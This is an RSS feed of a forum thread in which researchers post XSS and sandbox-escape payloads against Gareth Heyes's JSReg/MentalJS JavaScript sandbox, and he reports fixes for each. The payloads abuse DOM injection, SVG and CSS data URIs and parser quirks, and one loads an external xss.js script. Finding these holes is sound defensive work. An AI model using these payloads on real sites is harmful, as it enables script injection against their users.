<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
    <channel>
        <title>JSReg sandbox challenge</title>
        <description>I posted this to the websec mailing list and I thought I'd post it here to see if anyone could beat it:-

Over the last few months I've been developing and rewriting (a lot) JSReg but now hopefully I'm finally getting somewhere. The goal was to produce a sandboxed version of Javascript within Javascript itself because I need a sandbox for some projects I'm working on and I don't want the overhead of another language.

My sandbox works with prefixes and suffixes so &quot;x&quot; becomes &quot;$x$&quot; and any reference to objects becomes $obj[$+'yourref'+$]. In addition I only allow certain functions/properties based on a whitelist (so stuff like constructor isn't supported). I also create safe functions which run some checks to prevent window leakage, for example take (1,[].sort)().alert(1) here we leak to window. I protect against this sort of attack by whitelisting native functions to disallow no or null arguments with the option to override per function (then an additional check is performed on the object).

JSReg contains a special object called &quot;globals&quot;, I use this to rewrite your javascript code so for example 'test' becomes globals.string('test') this produces a special prototyped version of the string which can be used later. Native functions are also supported this way by calling their name e.g. globals.alert(1)

So how does the code look once it's been JSReg'd well here is a code sample:-
function x(){ var m=1; this.getM=function(){ return m; } }; y=new x; y.getM()

Which gets rewritten to:-
function $x$(){ var $m$=globals.number(1);this.$getM$=function(){ return $m$; } };$y$=new $x$;$y$.$getM$()

As you may have noticed I allow &quot;this&quot; to be used in this way but I will disallow assignment or return the value of &quot;this&quot;, I may improve this in future once I'm certain that it is safe to use.
At the moment I allow JSReg globals to be overwritten but I might prevent this at the regexp level or with setters and there are a few problems when not finishing a statement with a &quot;;&quot;. Finally there's a limitation regarding the scope, at the moment the prefixes and suffixes are in the global scope so $x$ is actually window.$x$, I plan to get round this somehow so that $x$ is assigned to a object I'm still working that out.

Any comments or suggestions are of course welcome but specifically I'm looking for hacks to window or glaring errors in my RegExps. If you can hack JSReg so that it returns window please let me know

Once I'm confident that it is a secure sandbox, I shall release it as open source. You can have a go here:-
</description>
        <link>http://sla.ckers.org/forum/read.php?2,29090,29090#msg-29090</link>
        <lastBuildDate>Sun, 19 May 2013 21:06:09 -0500</lastBuildDate>
        <generator>Phorum 5.2.15a</generator>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,29090,51714#msg-51714</guid>
            <title>Re: JSReg sandbox challenge</title>
            <link>http://sla.ckers.org/forum/read.php?2,29090,51714#msg-51714</link>
            <description><![CDATA[1)  IE,FF<br />
<pre class="bbcode">
document.body.innerHTML=&quot;&lt;script&gt; &lt;/script&gt;&quot;;
x=document.getElementsByTagName('script')[2].cloneNode();
x.setAttribute('src', 'http://ha.ckers.org/xss.js');
document.body.insertBefore(x,document.body.firstChild);</pre>
<br />
bugs:<br />
<br />
1) &quot;There is no native insertAfter method.&quot; // [<a href="https://developer.mozilla.org/en-US/docs/DOM/Node.insertBefore" rel="nofollow" >developer.mozilla.org</a>]<br />
<br />
2) <br />
<pre class="bbcode">
if(!allowedTagsRegEx.test(elementNode.nodeName)) {                                        
 elementNode.parentNode.removeChild(elementNode);
 <span style="color:green">continue;</span>  // it was unintentionally missed, I guess.
}</pre>
<br />
================<br />
upd:<br />
<br />
2) <br />
<br />
f=document.createDocumentFragment();<br />
f.appendChild(document.getElementsByTagName('script')[0].cloneNode());<br />
f.firstChild.appendChild(document.createTextNode('1'));<br />
f.firstChild.appendChild(document.createTextNode('/alert(location)/+0'));<br />
document.body.appendChild(f);<br />
<br />
// almost the same<br />
<br />
x=document.createElement('div');<br />
x.appendChild(document.getElementsByTagName('script')[0].cloneNode());<br />
x.firstChild.appendChild(document.createTextNode('1')); <br />
x.firstChild.appendChild(document.createTextNode('/alert(location)/+0'));<br />
document.body.appendChild(x);<br />
<br />
=================<br />
<br />
<b>createComment</b> method is potentially dangerous when used in the context of uncontrolled innerHTML, but can not be used to MentalJS bypass now.<br />
<br />
<pre class="bbcode">
&lt;div id=x&gt;&lt;/div&gt;

&lt;script&gt;
document.getElementById('x').appendChild(document.createComment(&quot;--&gt;&lt;img src=xx:xx onerror=alert(1)//&quot;));
alert(document.getElementById('x').innerHTML);
&lt;/script&gt;
</pre>]]></description>
            <dc:creator>LeverOne</dc:creator>
            <category>XSS Info</category>
            <pubDate>Sat, 06 Apr 2013 09:31:38 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,29090,51713#msg-51713</guid>
            <title>Re: JSReg sandbox challenge</title>
            <link>http://sla.ckers.org/forum/read.php?2,29090,51713#msg-51713</link>
            <description><![CDATA[Ack. Ugh. I should have setup some tests. I assummed that since the node wasn't actually html the attributes wouldn't be affected by dom clobbering techniques obviously I was wrong :( I'll have to check it's the real attributes again =)]]></description>
            <dc:creator>Gareth Heyes</dc:creator>
            <category>XSS Info</category>
            <pubDate>Fri, 29 Mar 2013 15:27:47 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,29090,51712#msg-51712</guid>
            <title>Re: JSReg sandbox challenge</title>
            <link>http://sla.ckers.org/forum/read.php?2,29090,51712#msg-51712</link>
            <description><![CDATA[<pre class="bbcode">document.body.innerHTML=&quot;&lt;form onmouseover=alert(location)&gt;&lt;input name=attributes&gt;&quot;;</pre> // for the third time :)]]></description>
            <dc:creator>LeverOne</dc:creator>
            <category>XSS Info</category>
            <pubDate>Fri, 29 Mar 2013 10:00:47 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,29090,51711#msg-51711</guid>
            <title>Re: JSReg sandbox challenge</title>
            <link>http://sla.ckers.org/forum/read.php?2,29090,51711#msg-51711</link>
            <description><![CDATA[Damn. This is tricky. I also need to prevent call/apply too :(<br />
<br />
<pre class="bbcode">
document.body.innerHTML='&lt;script&gt; &lt;/script&gt;';
x=document.getElementsByTagName('script')[2].cloneNode();
document.body.appendChild.call(x,document.createTextNode('1'));
document.body.appendChild.call(x,document.createTextNode('/alert(location)/+0'));
document.body.appendChild(x);</pre>
<br />
I need to do the sandbox step just before the script is executed. Maybe checking the appendChild node type as it's being added to the document is better. Thanks as always!<br />
<br />
Update...<br />
The fix is to sandbox script as it's appended by creating a new node when appendChild is called. [<a href="https://code.google.com/p/mentaljs/source/browse/trunk/MentalJS/javascript/Mental.js#163" rel="nofollow" >code.google.com</a>]]]></description>
            <dc:creator>Gareth Heyes</dc:creator>
            <category>XSS Info</category>
            <pubDate>Wed, 27 Mar 2013 03:45:20 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,29090,51710#msg-51710</guid>
            <title>Re: JSReg sandbox challenge</title>
            <link>http://sla.ckers.org/forum/read.php?2,29090,51710#msg-51710</link>
            <description><![CDATA[FF, IE<br />
<br />
<pre class="bbcode">

document.body.innerHTML='&lt;script&gt; &lt;/script&gt;';
x=document.getElementsByTagName('script')[2].cloneNode();
x.appendChild(document.createTextNode('1'));
x.appendChild(document.createTextNode('/alert(location)/+0'));
document.body.appendChild(x);</pre>
<br />
bugs:<br />
<br />
1)  if(this.parentNode) {  // parentNode may not exist f.e.: document.createElement('div').innerHTML='&lt;script&gt;1&lt;/script&gt;'; &lt;-- parentNode == null<br />
  script = document.createElement('script');<br />
<br />
2) if(/^<span style="color:red">[$]</span>(?:toString|valueOf|constructor|hasOwnProperty)[$]$/.test(key))]]></description>
            <dc:creator>LeverOne</dc:creator>
            <category>XSS Info</category>
            <pubDate>Tue, 26 Mar 2013 13:50:37 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,29090,51706#msg-51706</guid>
            <title>Re: JSReg sandbox challenge</title>
            <link>http://sla.ckers.org/forum/read.php?2,29090,51706#msg-51706</link>
            <description><![CDATA[My parser waits in fear and anticipation of the great lever one mass pwnage.]]></description>
            <dc:creator>Gareth Heyes</dc:creator>
            <category>XSS Info</category>
            <pubDate>Fri, 22 Mar 2013 07:05:51 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,29090,51705#msg-51705</guid>
            <title>Re: JSReg sandbox challenge</title>
            <link>http://sla.ckers.org/forum/read.php?2,29090,51705#msg-51705</link>
            <description><![CDATA[I start looking already at the weekend.]]></description>
            <dc:creator>LeverOne</dc:creator>
            <category>XSS Info</category>
            <pubDate>Fri, 22 Mar 2013 00:53:19 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,29090,51698#msg-51698</guid>
            <title>Re: JSReg sandbox challenge</title>
            <link>http://sla.ckers.org/forum/read.php?2,29090,51698#msg-51698</link>
            <description><![CDATA[I'm back after a huge delay :) if you are still interested in the project I've rewritten a lot of the parser to be much faster. I've removed browser syntax verification because chrome is fucked. Here's an exploit using the chrome bug which I fixed:<br />
Function(&quot;/*&quot;, &quot;*/){},alert(location),function(){&quot;)<br />
<br />
I can now parse jQuery in 25-50ms :) I've fixed the dom hacks by basically stopping script being used in the dom. I guess I will have to write a whole dom filtering api to sandbox each text node if script etc. If anyone wants to help with that or knows of a better solution I'm all ears since my dom filtering coding isn't great.<br />
<br />
Update...<br />
I rewrote the dom side at the moment it allows css without filtering. I use node iterator instead now to parse the innerHTML assignments. <br />
<br />
This demo might be more interesting to test since it's sort of a real world example of protecting the dom<br />
http://www.modsecurity.org/demo/demo-deny-noescape.html?test=%3Cscript%3Ealert%28location%29%3C%2Fscript%3E]]></description>
            <dc:creator>Gareth Heyes</dc:creator>
            <category>XSS Info</category>
            <pubDate>Sun, 03 Mar 2013 17:20:44 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,29090,51595#msg-51595</guid>
            <title>Re: JSReg sandbox challenge</title>
            <link>http://sla.ckers.org/forum/read.php?2,29090,51595#msg-51595</link>
            <description><![CDATA[1)<br />
<pre class="bbcode">
document.body.innerHTML=&quot;&lt;form onmouseover=alert(location) name=body&gt;&lt;input&gt;&quot;;</pre>
<br />
2) FF <br />
<pre class="bbcode">
x=document.createElement('script');
x.innerHTML='{alert(location)}';
x.appendChild(document.createTextNode('+1'));
document.body.appendChild(x);</pre>
<br />
3) !FF // SVGScriptElement <br />
<pre class="bbcode">
document.body.innerHTML=&quot;&lt;svg&gt;&lt;script&gt;&lt;/script&gt;&lt;/svg&gt;&quot;;
x=document.getElementsByTagName('script')[2].cloneNode();
x.textContent='alert(location)';
document.getElementsByTagName('svg')[0].appendChild(x);</pre>
<br />
4) $appendChild$ w/o context check<br />
<br />
<pre class="bbcode">
x=document.createElement('script');
x.appendChild(document.createTextNode('1'));
x.appendChild(document.createTextNode('/alert(location)/+0'));
document.body.appendChild(x);
</pre>]]></description>
            <dc:creator>LeverOne</dc:creator>
            <category>XSS Info</category>
            <pubDate>Mon, 26 Nov 2012 05:07:38 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,29090,51594#msg-51594</guid>
            <title>Re: MentalJS sandbox challenge</title>
            <link>http://sla.ckers.org/forum/read.php?2,29090,51594#msg-51594</link>
            <description><![CDATA[Wow thanks! I've fixed all those. I'm currently struggling with chrome at the moment, there seems to be a large delay processing the initial js. I might have to make my code smaller and use less calls to charCodeAt.]]></description>
            <dc:creator>Gareth Heyes</dc:creator>
            <category>XSS Info</category>
            <pubDate>Mon, 26 Nov 2012 03:27:58 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,29090,51585#msg-51585</guid>
            <title>Re: MentalJS sandbox challenge</title>
            <link>http://sla.ckers.org/forum/read.php?2,29090,51585#msg-51585</link>
            <description><![CDATA[1) IE 9<br />
<pre class="bbcode">
document.body.innerHTML='&lt;lo xmlns=&quot;&gt;&lt;img src=x:xx onerror=alert(location)//&quot;&gt;&lt;/lo&gt;';</pre>
<br />
2) (repetition)<br />
<pre class="bbcode">
document.body.innerHTML=&quot;&lt;form onmouseover=alert(location)&gt;&lt;input name=attributes&gt;&quot;;</pre>
<br />
3) Opera<br />
<pre class="bbcode">
document.body.innerHTML=&quot;&lt;svg&gt;&lt;image&gt;&lt;/image&gt;&lt;style&gt;&lt;!-- or any other elements --&gt;image{filter:url('data:image/svg+xml,%3Csvg xmlns=%22http://www.w3.org/2000/svg%22%3E%3Cscript%3Ealert(top.location)%3C/script%3E%3C/svg%3E')}&lt;/style&gt;&lt;/svg&gt;&quot;;</pre>
<br />
<br />
4)<br />
<pre class="bbcode">
for(var lo=lo in lo,lo
/alert(location));'/)'//'</pre>
<br />
5) Opera<br />
<pre class="bbcode">
document.body.innerHTML=&quot;&lt;svg&gt;&lt;image&gt;&lt;/image&gt;&lt;style&gt;&lt;/style&gt;&lt;/svg&gt;&quot;;
document.getElementsByTagName('style')[1].appendChild(document.createTextNode('image{filter:url(\'data:image/svg+xml,%3Csvg xmlns=%22http://www.w3.org/2000/svg%22%3E%3Cscript%3Ealert(top.location)%3C/script%3E%3C/svg%3E\')}'));</pre>
<br />
6) Opera<br />
<pre class="bbcode">
document.body.innerHTML='&lt;style&gt;&lt;/style&gt;';
document.getElementsByTagName('style')[1].innerHTML='*{-o-link:&quot;data:text/html;base64,PGJvZHk+CjxlbWJlZCAgRmxhc2hWYXJzPXVybD1odHRwOi8vYnVzaW5lc3NpbmZvLmNvLnVrJm5hbWU9X1ggc3JjPWh0dHA6Ly9odG1sNXNlY3VyaXR5Lmdvb2dsZWNvZGUuY29tL3N2bi90cnVuay9hdHRhY2htZW50cy90ZXN0LnN3Zj4KPGEgaWQ9X1kgaHJlZj0iamF2YXNjcmlwdDphbGVydChsb2NhdGlvbikiIHRhcmdldD1fWD48L2E+CjxzY3JpcHQ+c2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ19ZJykuY2xpY2soKSIsIDQwMDApOzwvc2NyaXB0Pg==&quot;;-o-link-source:current}';</pre>
<br />
bugs:<br />
<br />
1)<br />
<pre class="bbcode">
element.setAttribute(attrs[j].name, attrs[j].<span style="color:red">name</span>);</pre>
<br />
2)<br />
<br />
<pre class="bbcode">
'$constructor$': {configurable: true, get:function(){return location}},</pre>
<br />
exploitable on IE9<br />
<pre class="bbcode">
(1,location.constructor)('javascript:alert(document.URL)')
</pre>]]></description>
            <dc:creator>LeverOne</dc:creator>
            <category>XSS Info</category>
            <pubDate>Thu, 22 Nov 2012 00:33:18 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,29090,51582#msg-51582</guid>
            <title>Re: JSReg sandbox challenge</title>
            <link>http://sla.ckers.org/forum/read.php?2,29090,51582#msg-51582</link>
            <description><![CDATA[As always thanks and thanks for pointing out my stupid mistakes. For the moment I've disabled innerText/textContent on style. I check the tagName inside the setter so if you can set tagName to something else then you can bypass it but it appears that it is read only in the browser. I will add CSS parsing insider the setter later.]]></description>
            <dc:creator>Gareth Heyes</dc:creator>
            <category>XSS Info</category>
            <pubDate>Tue, 20 Nov 2012 03:19:30 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,29090,51581#msg-51581</guid>
            <title>Re: JSReg sandbox challenge</title>
            <link>http://sla.ckers.org/forum/read.php?2,29090,51581#msg-51581</link>
            <description><![CDATA[<pre class="bbcode">
document.body.innerHTML=&quot;&lt;svg&gt;&lt;image&gt;&lt;/image&gt;&lt;style&gt;&lt;/style&gt;&lt;/svg&gt;&quot;;
document.getElementsByTagName('style')[1].textContent='image{filter:url(\'data:image/svg+xml,%3Csvg xmlns=%22http://www.w3.org/2000/svg%22%3E%3Cscript%3Ealert(top.location)%3C/script%3E%3C/svg%3E\')}';</pre>
<br />
A similar can be done via innerText + -o-link]]></description>
            <dc:creator>LeverOne</dc:creator>
            <category>XSS Info</category>
            <pubDate>Mon, 19 Nov 2012 20:53:17 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,29090,51580#msg-51580</guid>
            <title>Re: JSReg sandbox challenge</title>
            <link>http://sla.ckers.org/forum/read.php?2,29090,51580#msg-51580</link>
            <description><![CDATA[Found two bugs in the fix for the previous bug:<br />
<blockquote class="bbcode"><div><small>Quote<br/></small><strong></strong><br/>
for (j= element.attributes.length; --j&gt;0;)<br />
  element.removeAttributeNode(element.attributes[ i]);</div></blockquote>
First bug is in the loop control. Should be either j--&gt;0 or --j&gt;=0.<br />
<br />
Currently you don't check the first attribute:<br />
document.body.innerHTML='&lt;input onblur=&quot;alert(1)&quot;&gt;'<br />
<br />
<br />
The second bug is in the same piece of code. You made a mistake using i instead of j when removing attributes. Should be element.attributes[j] or elements.attributes[0], otherwise some really strange things happen:<br />
<br />
document.body.innerHTML='&lt;div&gt;&lt;input onblur=&quot;alert(/chrome/)&quot; b=&quot;&quot; onblur=&quot;alert(/FF/IE/)&quot;&gt;'<br />
<br />
or worse:<br />
<br />
document.body.innerHTML='&lt;x&gt;&lt;y&gt;&lt;z a=&quot;&quot; b=&quot;&quot;&gt;']]></description>
            <dc:creator>Jonas Magazinius</dc:creator>
            <category>XSS Info</category>
            <pubDate>Mon, 19 Nov 2012 17:57:54 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,29090,51578#msg-51578</guid>
            <title>Re: MentalJS sandbox challenge</title>
            <link>http://sla.ckers.org/forum/read.php?2,29090,51578#msg-51578</link>
            <description><![CDATA[Thanks and fixed. I've changed how I remove attributes and fixed a couple of things with the ASI.]]></description>
            <dc:creator>Gareth Heyes</dc:creator>
            <category>XSS Info</category>
            <pubDate>Fri, 16 Nov 2012 05:31:50 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,29090,51577#msg-51577</guid>
            <title>Re: MentalJS sandbox challenge</title>
            <link>http://sla.ckers.org/forum/read.php?2,29090,51577#msg-51577</link>
            <description><![CDATA[<pre class="bbcode">
document.body.innerHTML=&quot;&lt;form onmouseover=alert(1)&gt;&lt;input name=attributes&gt;&quot;;</pre>
<br />
Opera<br />
<br />
<pre class="bbcode">
document.body.innerHTML=&quot;&lt;svg&gt;&lt;image&gt;&lt;/image&gt;&lt;style&gt;image{filter:url('data:image/svg+xml,%3Csvg xmlns=%22http://www.w3.org/2000/svg%22%3E%3Cscript%3Ealert(top.location)%3C/script%3E%3C/svg%3E')}&lt;/style&gt;&lt;/svg&gt;&quot;;</pre>
<br />
<br />
IE9  (element.attributes.length changes in the rewrite)<br />
<br />
<pre class="bbcode">
document.body.innerHTML=&quot;&lt;img style=l:o onerror=alert(location) src=&gt;&quot;;
</pre>]]></description>
            <dc:creator>LeverOne</dc:creator>
            <category>XSS Info</category>
            <pubDate>Thu, 15 Nov 2012 20:22:00 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,29090,51571#msg-51571</guid>
            <title>Re: MentalJS sandbox challenge</title>
            <link>http://sla.ckers.org/forum/read.php?2,29090,51571#msg-51571</link>
            <description><![CDATA[Ugh ack. Two bugs. <br />
1. Spaces character check is invalid range<br />
2. isVariablePart is accepting para/line separarators =)<br />
<br />
Update..<br />
Fixed. This was because I copied a regex of valid variables then did a conversion to ranges but either the regex was wrong or my conversion function went wrong. I've redone it using a manual check using eval in the browser to see if they are valid variables. Sorry about this, this was lame. I should have a unit test for variables but I could spend all day creating unit tests for lots of things =) and I don't have time.]]></description>
            <dc:creator>Gareth Heyes</dc:creator>
            <category>XSS Info</category>
            <pubDate>Wed, 14 Nov 2012 03:41:02 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,29090,51570#msg-51570</guid>
            <title>Re: MentalJS sandbox challenge</title>
            <link>http://sla.ckers.org/forum/read.php?2,29090,51570#msg-51570</link>
            <description><![CDATA[<pre class="bbcode">
eval(&quot;1..lo\u2028in\u2028function\u2028()/'/;alert(location)//'&quot;);</pre>
<br />
old problems...]]></description>
            <dc:creator>LeverOne</dc:creator>
            <category>XSS Info</category>
            <pubDate>Wed, 14 Nov 2012 00:21:42 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,29090,51569#msg-51569</guid>
            <title>Re: MentalJS sandbox challenge</title>
            <link>http://sla.ckers.org/forum/read.php?2,29090,51569#msg-51569</link>
            <description><![CDATA[Ok wow fixed those.<br />
<br />
- Rewrote octals because who uses them anyway<br />
- You made me add a function for asi. It's slower but needed to avoid the same mistakes in different places.<br />
- Also fixed the number state machine to return an error with unexpected exponent if one was not included.]]></description>
            <dc:creator>Gareth Heyes</dc:creator>
            <category>XSS Info</category>
            <pubDate>Tue, 13 Nov 2012 03:20:59 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,29090,51568#msg-51568</guid>
            <title>Re: MentalJS sandbox challenge</title>
            <link>http://sla.ckers.org/forum/read.php?2,29090,51568#msg-51568</link>
            <description><![CDATA[// not an attack on the technique<br />
<br />
I agree and I have a very good first impression of the new parser.<br />
<br />
<pre class="bbcode">
1&lt;!--0[0];for(1
function lo(){}/alert(location)/+0&lt;!--0[0];);

01.E+/-0;lo='/+alert(location)//'

07.in/alert(location)/+0
</pre>]]></description>
            <dc:creator>LeverOne</dc:creator>
            <category>XSS Info</category>
            <pubDate>Mon, 12 Nov 2012 16:39:35 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,29090,51566#msg-51566</guid>
            <title>Re: MentalJS sandbox challenge</title>
            <link>http://sla.ckers.org/forum/read.php?2,29090,51566#msg-51566</link>
            <description><![CDATA[Thanks and fixed. I force a space after some keywords I missed. Luckily these are stupid human mistakes from me and not an attack on the technique.<br />
<br />
Also added a semi colon after return, break or continue:<br />
[<a href="https://code.google.com/p/mentaljs/source/browse/trunk/MentalJS/javascript/Mental.js#748" rel="nofollow" >code.google.com</a>]]]></description>
            <dc:creator>Gareth Heyes</dc:creator>
            <category>XSS Info</category>
            <pubDate>Mon, 12 Nov 2012 02:44:12 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,29090,51565#msg-51565</guid>
            <title>Re: MentalJS sandbox challenge</title>
            <link>http://sla.ckers.org/forum/read.php?2,29090,51565#msg-51565</link>
            <description><![CDATA[<pre class="bbcode">
for(;0;)break
typeof/lo;alert(location)/+0</pre>
<br />
also continue +  new, throw, delete, typeof]]></description>
            <dc:creator>LeverOne</dc:creator>
            <category>XSS Info</category>
            <pubDate>Sun, 11 Nov 2012 23:37:09 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,29090,51563#msg-51563</guid>
            <title>Re: MentalJS sandbox challenge</title>
            <link>http://sla.ckers.org/forum/read.php?2,29090,51563#msg-51563</link>
            <description><![CDATA[Niiiiice :) very cool exploit of my asi. I now check the context and insert a for semi instead of semi if require so the { becomes a object literal.]]></description>
            <dc:creator>Gareth Heyes</dc:creator>
            <category>XSS Info</category>
            <pubDate>Sun, 11 Nov 2012 05:43:13 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,29090,51561#msg-51561</guid>
            <title>Re: MentalJS sandbox challenge</title>
            <link>http://sla.ckers.org/forum/read.php?2,29090,51561#msg-51561</link>
            <description><![CDATA[<pre class="bbcode">
1&lt;!--0[0];for(var lo
{}/alert(location,i=0)/i&lt;!--lo;);
</pre>]]></description>
            <dc:creator>LeverOne</dc:creator>
            <category>XSS Info</category>
            <pubDate>Sat, 10 Nov 2012 17:03:01 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,29090,51541#msg-51541</guid>
            <title>Re: MentalJS sandbox challenge</title>
            <link>http://sla.ckers.org/forum/read.php?2,29090,51541#msg-51541</link>
            <description><![CDATA[I'm currently rewriting again but this time not relying on the browser to validate syntax. I'm going to write it all and unable us to define rules and hopefully fix these syntax based attacks. Oh and it should be even faster since I'm now using if statements and very limited amount of functions.<br />
<br />
Update...<br />
New version is up:<br />
[<a href="http://www.businessinfo.co.uk/labs/MentalJS/MentalJS.html" rel="nofollow" >www.businessinfo.co.uk</a>]<br />
<br />
Google code page:<br />
[<a href="http://code.google.com/p/mentaljs/" rel="nofollow" >code.google.com</a>]<br />
<br />
You will notice the parsing is much faster now because I compare the charcodes directly and do a different method of parsing. I haven't got jQuery to work yet and ASI is still incomplete and I'm sure some missing syntax but I have my own validator now.]]></description>
            <dc:creator>Gareth Heyes</dc:creator>
            <category>XSS Info</category>
            <pubDate>Fri, 26 Oct 2012 03:01:38 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,29090,51535#msg-51535</guid>
            <title>Re: MentalJS sandbox challenge</title>
            <link>http://sla.ckers.org/forum/read.php?2,29090,51535#msg-51535</link>
            <description><![CDATA[Ok arch nemesis I now force divide and regex and =/ <br />
Fixed those.  <br />
<br />
You have a new toy as well, dom api. <br />
b=document.createElement('b');b.appendChild(document.createTextNode('hello world!'));document.querySelector('form').appendChild(b);<br />
<br />
Update...<br />
and jQuery :O<br />
<br />
1. Hit load jQuery<br />
2. Hit execute<br />
3. $ now contains a reference to a sandboxed jQuery!!]]></description>
            <dc:creator>Gareth Heyes</dc:creator>
            <category>XSS Info</category>
            <pubDate>Tue, 23 Oct 2012 05:33:34 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,29090,51534#msg-51534</guid>
            <title>Re: MentalJS sandbox challenge</title>
            <link>http://sla.ckers.org/forum/read.php?2,29090,51534#msg-51534</link>
            <description><![CDATA[<pre class="bbcode">
function lo(){i//
in/1};alert(location)//1}      // !Opera

var y=function(){},lo          // !FF
/'/,alert(location)//'

this
function lo(){}/'/,alert(location)//'

var NaN
/'/,alert(location)//'      // !FF</pre>
<br />
Tests:<br />
<pre class="bbcode">
var i=i
/i/i,a

var x
(x)=123,x
/i/i

var i
{}
</pre>]]></description>
            <dc:creator>LeverOne</dc:creator>
            <category>XSS Info</category>
            <pubDate>Tue, 23 Oct 2012 02:59:22 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,29090,51533#msg-51533</guid>
            <title>Re: JSReg sandbox challenge</title>
            <link>http://sla.ckers.org/forum/read.php?2,29090,51533#msg-51533</link>
            <description><![CDATA[<blockquote class="bbcode"><div><small>Quote<br/></small><strong></strong><br/>
:) In my opinion it's more fun, when &quot;a lot of other parsers have problems&quot;. </div></blockquote>
<br />
XD]]></description>
            <dc:creator>Gareth Heyes</dc:creator>
            <category>XSS Info</category>
            <pubDate>Mon, 22 Oct 2012 08:42:29 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,29090,51532#msg-51532</guid>
            <title>Re: JSReg sandbox challenge</title>
            <link>http://sla.ckers.org/forum/read.php?2,29090,51532#msg-51532</link>
            <description><![CDATA[// I consider you an owner of this project<br />
<br />
Thanks, but I cann't agree, because I know I'll not be doing commits. Choose a license on your own, please.<br />
<br />
// have you considered releasing a js parser test suite<br />
<br />
:) In my opinion it's more fun, when &quot;a lot of other parsers have problems&quot;.<br />
<br />
// add me on gtalk<br />
<br />
I don't use gtalk.]]></description>
            <dc:creator>LeverOne</dc:creator>
            <category>XSS Info</category>
            <pubDate>Mon, 22 Oct 2012 08:32:58 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,29090,51531#msg-51531</guid>
            <title>Re: JSReg sandbox challenge</title>
            <link>http://sla.ckers.org/forum/read.php?2,29090,51531#msg-51531</link>
            <description><![CDATA[Fair enough I'll upload to google code, what license do you prefer? I consider you an owner of this project too since without you it would be nothing.<br />
<br />
BTW your tests are amazing, have you considered releasing a js parser test suite? The edge cases are really really tricky to parse and a lot of other parsers have problems. <br />
<br />
There is a new version uploaded now. I'll put it on google code when I get an answer about the license. Please add me on gtalk if you use it gazheyes [removemepleasethisis not needed at gmail dot com]]></description>
            <dc:creator>Gareth Heyes</dc:creator>
            <category>XSS Info</category>
            <pubDate>Mon, 22 Oct 2012 07:32:09 -0500</pubDate>
        </item>
    </channel>
</rss>
